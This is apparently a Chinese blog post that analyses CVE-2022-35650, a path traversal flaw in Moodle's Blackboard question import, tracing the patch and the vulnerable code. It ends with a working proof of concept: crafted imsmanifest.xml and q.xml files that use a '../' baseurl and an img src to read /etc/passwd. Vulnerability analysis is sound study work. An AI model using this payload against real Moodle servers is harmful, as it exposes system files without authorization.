前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >关于CVE-2022-35650的分析

关于CVE-2022-35650的分析

作者头像
信安百科
发布2023-10-02 18:25:33
5000
发布2023-10-02 18:25:33
举报
文章被收录于专栏:信安百科

0x00介绍

CVE-2022-35650该漏洞是在 Moodle 中发现的,由于导入课程问题输入验证错误而发生。这种不充分的路径检查会导致任意文件读取风险。此漏洞允许远程攻击者执行目录遍历攻击。默认情况下,只有教师、管理人和高级管理员可以访问此功能。

很长一段时间以来,一直想写一篇关于 1-day分析的文章,尤其是 PHP,在这篇文章中,我将讨论在分析 1-day的 CVE 补丁时应该采取什么方法以及如何为它制作 PoC。

0x01设置 PHP 调试环境

代码语言:javascript
复制
sudo apt install php-xdebug
代码语言:javascript
复制
nano /etc/php/7.4/mods-available/xdebug.ini
代码语言:javascript
复制
zend_extension=/usr/lib64/php/modules/xdebug.so
xdebug.remote_autostart = 1
xdebug.remote_enable = 1
xdebug.remote_handler = dbgp
xdebug.remote_host = 127.0.0.1
xdebug.remote_mode = req
xdebug.remote_port = 9000

安装 Xdebug 插件:

在 .vscode 目录中创建一个包含以下内容的 launch.json 文件:

代码语言:javascript
复制
{
// Use IntelliSense to learn about possible attributes.
// Hover to view descriptions of existing attributes.
// For more information, visit: https://go.microsoft.com/fwlink/?linkid=830387
"version": "0.2.0",
"configurations": [
{
           "name": "Listen for Xdebug",
           "type": "php",
           "request": "launch",
           "port": 9000
 },
  {
           "name": "Launch currently open script",
           "type": "php",
           "request": "launch",
           "program": "${file}",
           "cwd": "${fileDirname}",
           "port": 0,
           "runtimeArgs": [
               "-dxdebug.start_with_request=yes"
           ],
           "env": {
               "XDEBUG_MODE": "debug,develop",
               "XDEBUG_CONFIG": "client_port=${port}"
           }
       }
   ]
}

0x02分析代码

修复此漏洞的 git commit 可以在此链接中找到。

代码语言:javascript
复制
https://git.moodle.org/gw?p=moodle.git;a=commit;h=3cafb305ded3bf676a2d2b89fcf5a0c6ea7c6d6d
代码语言:javascript
复制
--- a/question/format/blackboard_six/format.php
+++ b/question/format/blackboard_six/format.php
@@ -152,7 +152,8 @@ class qformat_blackboard_six extends qformat_blackboard_six_base {
                     }
                     if ($examfile->getAttribute('type') == 'assessment/x-bb-pool') {
                         if ($examfile->getAttribute('baseurl')) {
-                            $fileobj->filebase = $this->tempdir. '/' . $examfile->getAttribute('baseurl');
+                            $fileobj->filebase = clean_param($this->tempdir . '/'
+                                . $examfile->getAttribute('baseurl'), PARAM_SAFEPATH);
                         }
                         if ($content = $this->get_filecontent($examfile->getAttribute('file'))) {
                             $fileobj->filetype = self::FILETYPE_POOL;

代码更改显示,在旧版本中,fileobj 对象的属性文件库将直接从 getAttribute('baseurl') 分配,但在修补版本中,它将由 clean_param 函数进行清理。

以上代码负责导入Question bank中 blackboard 类型。

代码语言:javascript
复制
https://docs.moodle.org/310/en/Question_bank
代码语言:javascript
复制
...
$this->tempdir = make_temp_directory('bbquiz_import/' . $uniquecode);
        if (is_readable($filename)) {
            if (!copy($filename, $this->tempdir . '/bboard.zip')) {
                $this->error(get_string('cannotcopybackup', 'question'));
                fulldelete($this->tempdir);
                return false;
            }
            $packer = get_file_packer('application/zip');
            if ($packer->extract_to_pathname($this->tempdir . '/bboard.zip', $this->tempdir)) {
                $dom = new DomDocument();

                if (!$dom->load($this->tempdir . '/imsmanifest.xml')) {
                    $this->error(get_string('errormanifest', 'qformat_blackboard_six'));
                    fulldelete($this->tempdir);
                    return false;
                }

                $xpath = new DOMXPath($dom);

                // We starts from the root element.
                $query = '//resources/resource';
                $qfile = array();

                $examfiles = $xpath->query($query);
                foreach ($examfiles as $examfile) {
                    $fileobj = new qformat_blackboard_six_file();

                    if ($examfile->getAttribute('type') == 'assessment/x-bb-qti-test'
                            || $examfile->getAttribute('type') == 'assessment/x-bb-qti-pool') {

                        if ($content = $this->get_filecontent($examfile->getAttribute('bb:file'))) {
                            $fileobj->filetype = self::FILETYPE_QTI;
                            $fileobj->filebase = $this->tempdir;
                            $fileobj->text = $content;
                            $qfile[] = $fileobj;
                        }
                    }
                     if ($examfile->getAttribute('type') == 'assessment/x-bb-pool') {
                        if ($examfile->getAttribute('baseurl')) {
                            $fileobj->filebase = $this->tempdir. '/' . $examfile->getAttribute('baseurl');
                        }
                        if ($content = $this->get_filecontent($examfile->getAttribute('file'))) {
                            $fileobj->filetype = self::FILETYPE_POOL;
                            $fileobj->text = $content;
                            $qfile[] = $fileobj;
                        }
                    }
                }

                if ($qfile) {
                    return $qfile;

...

该代码将创建一个临时目录并将blackboard archive提取到其中,然后imsmanifest.xml从中读取文件。

然后通过 XPath 查询,它将检索所有资源元素,然后从 qformat_blackboard_six_file 类创建一个对象,然后检查资源元素的类型属性,如您在补丁差异中看到的那样,如果类型是assessment/x-bb-pool,则会发生漏洞,因此我们可以使用以下 imsmanifest.xml 文件制作一个 zip 存档来测试我们是否正确:

代码语言:javascript
复制
<?xml version="1.0" encoding="UTF-8"?>
<manifest >
  <resources>
    <resource type="assessment/x-bb-pool" baseurl="test">
    test
    </resource>
  </resources>
</manifest>

我们将在这一行设置断点:

然后代码将获取baseurl属性,如果存在,它将设置

代码语言:javascript
复制
$fileobj->filebase

代码语言:javascript
复制
$this->tempdir. '/' . $examfile->getAttribute('baseurl');

我们可以完全控制baseurl属性,因此我们可以进行目录遍历攻击并将其设置$fileobj->filebase为任何位置,接下来是什么?

该get_filecontent 函数将使用file属性作为其参数调用。

get_filecontent功能:

此时,您可能认为我们可以控制 $path 并执行目录遍历,但这是错误的,您会明白为什么。

我们实际上可以从资源元素的路径属性控制 $path,但是如果您按照堆栈跟踪,您会注意到它会返回错误,因为返回的内容应该是一个有效的blackboard pool 的 XML 文件。

将调用 readdata 函数,然后调用 readquestions 并使用作为 readdata 输出的 $lines。

如您所见,我们可以将 $fileobj->text 设置为任意文件内容,但在 readquestions 函数中,它将调用 qformat_blackboard_six_pool 类的 readquestions 函数,其中 $fileobj->text 可以是文件系统中任何文件的内容:

在 readquestions 函数中,它会尝试使用 xmlize 函数解析 text,如果 text 不是有效的 xml 则会返回错误,正如我所说,即使我们可以控制上述函数中的 path 并尝试读取 文件不是有效的 XML 文件,我们将在此处收到错误,我们无法做任何有用的事情。

让我们回到filebase.

在 qformat_blackboard_six 类的 readquestions 函数中,它将调用 qformat_blackboard_six_base 类的 set_filebase 函数,所以让我们看看 filebase 的用法在哪里:

上面的代码将获取 text 作为其参数,并使用正则表达式尝试从 text 中的 img 标记中提取 src 属性的值。

为了达到这个功能,我们必须将资源元素中的文件属性设置为一个有效的blackboard pool xml 文件,希望我们可以在测试目录中找到一个样本 fixtures/sample_blackboard_pool.dat

代码语言:javascript
复制
<?xml version='1.0' encoding='utf-8'?>
<POOL>
    <TITLE value='exam 3 2008-9'/>
    <QUESTIONLIST>
        <QUESTION id='q1' class='QUESTION_TRUEFALSE' points='1'/>
        <QUESTION id='q7' class='QUESTION_MULTIPLECHOICE' points='1'/>
        <QUESTION id='q8' class='QUESTION_MULTIPLEANSWER' points='1'/>
        <QUESTION id='q39-44' class='QUESTION_MATCH' points='1'/>
        <QUESTION id='q9' class='QUESTION_ESSAY' points='1'/>
        <QUESTION id='q27' class='QUESTION_FILLINBLANK' points='1'/>
    </QUESTIONLIST>
    <QUESTION_TRUEFALSE id='q1'>
        <BODY>
            <TEXT><![CDATA[<h1> He Heeeeeeeeeeee</h1>]]></TEXT>
            <FLAGS>
                <ISHTML value='true'/>
                <ISNEWLINELITERAL value='false'/>
            </FLAGS>
        </BODY>
        <ANSWER id='q1_a1'>
            <TEXT>False</TEXT>
        </ANSWER>
        <ANSWER id='q1_a2'>
            <TEXT>True</TEXT>
        </ANSWER>
        <GRADABLE>
            <CORRECTANSWER answer_id='q1_a2'/>
            <FEEDBACK_WHEN_CORRECT><![CDATA[You gave the right answer.]]></FEEDBACK_WHEN_CORRECT>
            <FEEDBACK_WHEN_INCORRECT><![CDATA[42 is the Ultimate Answer.]]></FEEDBACK_WHEN_INCORRECT>
        </GRADABLE>
    </QUESTION_TRUEFALSE>
    <QUESTION_MULTIPLECHOICE id='q7'>
        <BODY>
            <TEXT><![CDATA[<span style="font-size:12pt">What's between orange and green in the spectrum?</span>]]></TEXT>
            <FLAGS>
                <ISHTML value='true'/>
                <ISNEWLINELITERAL value='false'/>
            </FLAGS>
        </BODY>
        <ANSWER id='q7_a1' position='1'>
        <TEXT><![CDATA[<span style="font-size:12pt">red</span>]]></TEXT>
        </ANSWER>
        <ANSWER id='q7_a2' position='2'>
        <TEXT><![CDATA[<span style="font-size:12pt">yellow</span>]]></TEXT>
        </ANSWER>
        <ANSWER id='q7_a3' position='3'>
        <TEXT><![CDATA[<span style="font-size:12pt">blue</span>]]></TEXT>
        </ANSWER>
        <GRADABLE>
            <CORRECTANSWER answer_id='q7_a2'/>
            <FEEDBACK_WHEN_CORRECT><![CDATA[You gave the right answer.]]></FEEDBACK_WHEN_CORRECT>
            <FEEDBACK_WHEN_INCORRECT><![CDATA[Only yellow is between orange and green in the spectrum.]]></FEEDBACK_WHEN_INCORRECT>
        </GRADABLE>
    </QUESTION_MULTIPLECHOICE>
    <QUESTION_MULTIPLEANSWER id='q8'>
        <BODY>
            <TEXT><![CDATA[<span style="font-size:12pt">What's between orange and green in the spectrum?</span>]]></TEXT>
            <FLAGS>
                <ISHTML value='true'/>
                <ISNEWLINELITERAL value='false'/>
            </FLAGS>
        </BODY>
        <ANSWER id='q8_a1' position='1'>
        <TEXT><![CDATA[<span style="font-size:12pt">yellow</span>]]></TEXT>
        </ANSWER>
        <ANSWER id='q8_a2' position='2'>
        <TEXT><![CDATA[<span style="font-size:12pt">red</span>]]></TEXT>
        </ANSWER>
        <ANSWER id='q8_a3' position='3'>
        <TEXT><![CDATA[<span style="font-size:12pt">off-beige</span>]]></TEXT>
        </ANSWER>
        <ANSWER id='q8_a4' position='4'>
        <TEXT><![CDATA[<span style="font-size:12pt">blue</span>]]></TEXT>
        </ANSWER>
        <GRADABLE>
            <CORRECTANSWER answer_id='q8_a1'/>
            <CORRECTANSWER answer_id='q8_a3'/>
            <FEEDBACK_WHEN_CORRECT><![CDATA[You gave the right answer.]]></FEEDBACK_WHEN_CORRECT>
            <FEEDBACK_WHEN_INCORRECT><![CDATA[Only yellow and off-beige are between orange and green in the spectrum.]]></FEEDBACK_WHEN_INCORRECT>
        </GRADABLE>
    </QUESTION_MULTIPLEANSWER>
    <QUESTION_MATCH id='q39-44'>
        <BODY>
            <TEXT><![CDATA[<i>Classify the animals.</i>]]></TEXT>
            <FLAGS>
                <ISHTML value='true'/>
                <ISNEWLINELITERAL value='false'/>
            </FLAGS>
        </BODY>
        <ANSWER id='q39-44_a1' position='1'>
            <TEXT><![CDATA[frog]]></TEXT>
        </ANSWER>
        <ANSWER id='q39-44_a2' position='2'>
            <TEXT><![CDATA[cat]]></TEXT>
        </ANSWER>
        <ANSWER id='q39-44_a3' position='3'>
            <TEXT><![CDATA[newt]]></TEXT>
        </ANSWER>
        <CHOICE id='q39-44_c1' position='1'>
            <TEXT><![CDATA[mammal]]></TEXT>
        </CHOICE>
        <CHOICE id='q39-44_c2' position='2'>
            <TEXT><![CDATA[insect]]></TEXT>
        </CHOICE>
        <CHOICE id='q39-44_c3' position='3'>
            <TEXT><![CDATA[amphibian]]></TEXT>
        </CHOICE>
        <GRADABLE>
            <CORRECTANSWER answer_id='q39-44_a1' choice_id='q39-44_c3'/>
            <CORRECTANSWER answer_id='q39-44_a2' choice_id='q39-44_c1'/>
            <CORRECTANSWER answer_id='q39-44_a3' choice_id='q39-44_c3'/>
        </GRADABLE>
    </QUESTION_MATCH>
    <QUESTION_ESSAY id='q9'>
        <BODY>
            <TEXT><![CDATA[How are you?]]></TEXT>
            <FLAGS>
                <ISHTML value='true'/>
                <ISNEWLINELITERAL value='false'/>
            </FLAGS>
        </BODY>
        <ANSWER id='q9_a1'>
            <TEXT><![CDATA[Blackboard answer for essay questions will be imported as informations for graders.]]></TEXT>
        </ANSWER>
        <GRADABLE>
        </GRADABLE>
    </QUESTION_ESSAY>
    <QUESTION_FILLINBLANK id='q27'>
        <BODY>
            <TEXT><![CDATA[<span style="font-size:12pt">Name an amphibian: __________.</span>]]></TEXT>
            <FLAGS>
                <ISHTML value='true'/>
                <ISNEWLINELITERAL value='false'/>
            </FLAGS>
        </BODY>
        <ANSWER id='q27_a1' position='1'>
            <TEXT>frog</TEXT>
        </ANSWER>
        <GRADABLE>
        </GRADABLE>
    </QUESTION_FILLINBLANK>
</POOL>

正如您看到的代码,它将尝试从 TEXT 元素中定义的 HTML 中提取图像源文件。

在提取它之后,它将创建一个名为的变量fullpath并为其赋值this->filebase . '/' . path,并且正如我所展示的那样,它也在this->filebase我们的控制之下。

如果fullpath是代码将调用的可读文件store_file_for_text_field,那么让我们在 q.xml 中设置baseurlinimsmanifest.xml和 src 属性的值以fullpath指向有效文件:

代码语言:javascript
复制
...
<TEXT><![CDATA[<img src="passwd">]]></TEXT>
...
代码语言:javascript
复制
<?xml version="1.0" encoding="UTF-8"?>
<manifest >
  <resources>
    <resource type="assessment/x-bb-pool" baseurl="../../../../../../../etc" file="q.xml">
    test
    </resource>
  </resources>
</manifest>

这是store_file_for_text_field功能:

正如你所看到的,它最终会调用create_file_from_pathname,第二个 petameter 是文件系统中文件的位置,在我们的控制之下,我们可以让它指向文件系统中的任何文件。

0x03POC利用

imsmanifest.xml:

代码语言:javascript
复制
<?xml version="1.0" encoding="UTF-8"?>
<manifest >
  <resources>
    <resource type="assessment/x-bb-pool" baseurl="../../../../../../../etc" file="q.xml">
    test
    </resource>
  </resources>
</manifest>

q.xml

代码语言:javascript
复制
<?xml version='1.0' encoding='utf-8'?>
<POOL>
    <TITLE value='PoC exam'/>
    <QUESTIONLIST>
        <QUESTION id='q1' class='QUESTION_TRUEFALSE' points='1'/>
    </QUESTIONLIST>
    <QUESTION_TRUEFALSE id='q1'>
        <BODY>
            <TEXT><![CDATA[<img src="passwd">]]></TEXT>
            <FLAGS>
                <ISHTML value='true'/>
                <ISNEWLINELITERAL value='false'/>
            </FLAGS>
        </BODY>
        <ANSWER id='q1_a1'>
            <TEXT>False</TEXT>
        </ANSWER>
        <ANSWER id='q1_a2'>
            <TEXT>True</TEXT>
        </ANSWER>
        <GRADABLE>
            <CORRECTANSWER answer_id='q1_a2'/>
            <FEEDBACK_WHEN_CORRECT><![CDATA[You gave the right answer.]]></FEEDBACK_WHEN_CORRECT>
            <FEEDBACK_WHEN_INCORRECT><![CDATA[42 is the Ultimate Answer.]]></FEEDBACK_WHEN_INCORRECT>
        </GRADABLE>
    </QUESTION_TRUEFALSE>
</POOL>

我们可以查看文件:

您将在此处找到文件的位置:

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2022/07/31 20:53:10,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 信安百科 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 0x01设置 PHP 调试环境
  • 0x02分析代码
  • 修复此漏洞的 git commit 可以在此链接中找到。
  • 0x03POC利用
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档